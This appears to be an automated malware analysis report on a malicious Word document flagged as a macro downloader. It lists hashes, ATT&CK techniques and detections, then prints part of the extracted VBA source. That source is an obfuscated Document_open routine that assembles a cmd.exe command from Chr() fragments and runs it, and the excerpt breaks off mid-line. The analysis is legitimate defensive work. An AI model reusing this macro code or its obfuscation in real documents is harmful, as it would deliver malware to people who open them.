Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a7e6fd9fe71f1da2…

MALICIOUS

Office (OLE)

175.8 KB Created: 2018-07-17 07:33:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: 029730260c771efd3df758f35d257e9f SHA-1: 9dacefa7e857fa2575eefbecdef548bf87a36982 SHA-256: a7e6fd9fe71f1da2a815d18ac456e62116babca2b9df0cb2cd9bb49fb1304aa3
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros that trigger on document open and utilize the Shell() function, indicating an attempt to execute arbitrary code. The heuristic 'SE_PASSWORD_ARCHIVE_LURE' suggests the document is designed to trick the user into opening a password-protected archive, likely containing the actual malware. The ClamAV detection further confirms its malicious nature as a downloader.

Heuristics 7

  • ClamAV: Doc.Downloader.00536d-6615925-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.00536d-6615925-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Password-protected archive handoff high SE_PASSWORD_ARCHIVE_LURE
    Document gives password instructions for an archive or attachment — often used to keep payloads encrypted until after gateway scanning
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 30443 bytes
SHA-256: 175ff3c2095d00c48a2be297c65711e8c52fa2b70938478d94f24445ef3d555d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "pWdFzXWNFFk"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function fLSXDBJNiQQbw()
   tsqkGb = ikQKsA / 87782 * 66098 / zfNitH + 81314 - RfLJEM * WHkrrP - CzbjGE * (qUisM * XQztl + LTaPi / YknlQ)
   dUdQCM = lLaKh / 33384 * 84396 / JFJrFp + 7623 - bhtGi * fFEcB - EuAujk * (AtQiQ * kbibYv + ZICiJ / SRfUF)
   WpMtD = FnsQbr / 85376 * 7244 / lHKdp + 39557 - LdYfS * PomzEw - JABjk * (kkAkX * jGPIYU + qVijV / aFYDi)
   cZFkKj = FBThE / 10326 * 7562 / SCjMz + 22058 - wnYvC * wzCzHF - dcpmJF * (REWwE * iwNvm + QYcRMO / nGBQjz)
End Function
Function kWClqjmsjJd()
   lRMlwZ = cTXafk / 33270 * 88573 / nOmtcL + 66752 - EfihzI * lbhJDH - MimvD * (pMAIkT * RzBBZ + ahQvAi / roECH)
   PBDGj = kzsiW / 94151 * 57973 / NmZfkV + 63141 - vnmRsG * HwAtw - QwuUR * (dplZDA * iCiWXU + ZFQUPP / wkjVDi)
   LVLRiS = PfFJR / 66102 * 3310 / YSMwj + 96357 - PhbPcf * JTzUV - EflaFi * (siZzvH * pzpEu + PFdpOq / rVmMzN)
   tjltw = DhHiT / 40279 * 28866 / MdsZpi + 97026 - vLPzw * vNAiD - wQDLw * (LYVLu * UJIIT + XVPrk / iwMjm)
   cYFbOs = LUZilS / 48069 * 9762 / fYbIYE + 53531 - EaJNh * rPWQW - BTDQqu * (NmZUzv * JZqDEX + DXnjPi / iOPBC)
   cfzwI = OoCoH / 74907 * 76713 / raaqX + 36727 - LUMXH * aqkbiK - TPMiO * (wphiu * CHvRJT + GnQKm / AiowS)
End Function
Private Sub Document_open()
On Error Resume Next
   RTCnio = BazYv - 35900 - (HXjchD * kwUFzm * 385 * CzmLi)
   LWjbJc = zMfRjK - 80592 - (wskbt * Iswfo * 43607 * MMaOjY)
   iaoCN = qiBJR - 396 - (qXEXcR * zcorM * 85355 * WGwKtf)
   ivAjiq = oVMqpm - 36691 - (VJcCC * RtDGpz * 34209 * jpkrcZ)
CCUNoQ = Application.Run("XvvBQcsR", "" + oKdvrYhQaSkE + HqaIhXhhjBMw + CVar("c") + lkovjqrREHlMOE + CvCUrwkWzAAH + lrCtE + hVsCXiuabc + AcWqAfS + QVRzDwLGkD + frwakXzmI + FwmitQVjI + bibusr + jWiMdOnz + tQJSYqijzkU + tFzGLLMusdu + JsotQorirz + cdiWw + ibpuPUXGiLf + wwOIEsUUaid + rAcBFqrLPNd + HbvILG + OAlrDYE + RSsRfTzIpOCl)
   VnTYDz = UVMVq - 45014 - (ZwYXIJ * auFafK * 71746 * ucRRKQ)
End Sub
Function BjJwwjw()
   VkQvwE = rVslc - 61817 - (RQVBU * VnqnpR * 9629 * RqqEml)
   JarSEb = DNziwt - 97016 - (pnpmO * OZaNq * 16956 * sJiMhM)
   bUkdC = vPPLRJ - 26634 - (qmRvKi * cFhzfa * 59661 * jpuHF)
   Rrlkr = YiAvRd - 1052 - (nraRR * OCiXKQ * 25598 * VWCIwo)
   wndOW = WCdrX - 34430 - (wsPih * dRHAn * 94943 * fEMnm)
   ZwunV = JNmOoX - 6407 - (UJBHN * BRFNSD * 21140 * TSRjQ)
   Iirpid = vutNzX - 78959 - (iajEZN * VOYWcz * 96241 * OJljCC)
End Function


Attribute VB_Name = "uzslEMnzBlajo"
Function lrCtE()
On Error Resume Next
znoqU = EXzwwN - QSFjtw + ijYqOf + sGsCH + 3973 * pznHC + IKXobX / oOOEF
   dQPwb = (79706 / MRGwp * 21539 / bSSZr + (VXJjO * 83032 * (jdroz / 74373 + vYkpfM / vtQsm)))
ZIPzvdhQ = CStr(Chr(LDDPznz + JQDmqRH + 109 + OswzPFNdFjf + dBsqMZdREKP)) + "d /" + CStr(Chr(zmLYhmGDfBGNo + WiTpmjn + 99 + AFhKMJhhmWFaRj + KZwAlcXbavWra)) + " " + "F" + "^oR" + " ;" + " " + "/^f  " + ", " + CStr(Chr(MkRYcEvr + ZbSscEBUv + 34 + oBIXhFk + qGPKspAIWoOid)) + " to" + "kens" + "="
vwfNJ = (94331 / HfjkS * 63318 / ZSzCbY + (hdtio * 49956 * (srcihX / 65086 + IjdmpQ / GvupM)))
   fMpnd = (20265 / hVlwpz * 40155 / QVpNL + (vhCoO * 30222 * (VnLXHb / 37557 + VGViw / sifjDo)))
   sjkQJO = (37285 / iUXbPo * 12375 / kJAiK + (Ypjnc * 43869 * (kzNKuw / 87021 + ROTbVB / PNARz)))
YfQmz = " " + " +2" + " " + " d" + "eli" + CStr(Chr(BFjwrUWi + YjIBuwL + 109 + cSLIAmDtwHNX + wVbWlaSUcT)) + "s="
bmfqki = (73539 / OuVLiZ * 49176 / WBIvPU + (MjDwXH * 20385 * (UYIjkb / 70684 + WjHGnd / JIFwh)))
   BPHISH = (62690 / OqETAn * 49923 / pGlRmL + (NqiLt * 81063 * (JdoYX / 87414 + cJdCpU / CUdkj)))
QIhTRr = "a=" + "bZft" + CStr(Chr(GsGbpDIvEu + iMnbXWhiOPMfSc + 34 + PIpsEjjKmXRKPO + jinZmqz)) + "  ; " + "%^G  ," + " ; ^"
vVJpHt = (33821 / wmqwhb * 60121 / PjNMwI + (wqrLW * 10674 * (KXBQhT / 28626 + liKZhQ / YiapBV)))
NHVkjS = "In ,  " + "( ; '" + " ;" + " " + "^^Ass" + "O" + C
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.